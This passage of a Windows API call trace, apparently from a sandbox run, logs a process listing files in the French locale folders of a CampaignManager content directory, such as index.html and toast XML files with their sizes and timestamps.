	[0154.753] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.754] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0154.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.754] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1
	[0154.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0154.754] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE") returned 100
	[0154.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0154.757] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.757] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f08d25f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f08d25f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.757] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f27d1ae, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f27d1ae, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.757] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.757] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.757] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.757] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0154.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.758] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0154.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0154.758] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA") returned 100
	[0154.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0154.761] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.761] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa7a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.761] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.761] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.761] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.761] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.761] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0154.762] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.762] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1
	[0154.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0154.762] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH") returned 100
	[0154.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0154.764] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.764] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.765] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.765] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.765] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.765] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.765] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0154.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.766] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0154.766] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0154.766] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR") returned 100
	[0154.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0154.768] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.769] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.769] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.769] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.769] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.769] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.769] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0154.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.770] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-XF", cAlternateFileName="")) returned 1
	[0154.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0154.770] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF") returned 100
	[0154.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0154.772] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830f28d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.772] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.772] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.772] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.773] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
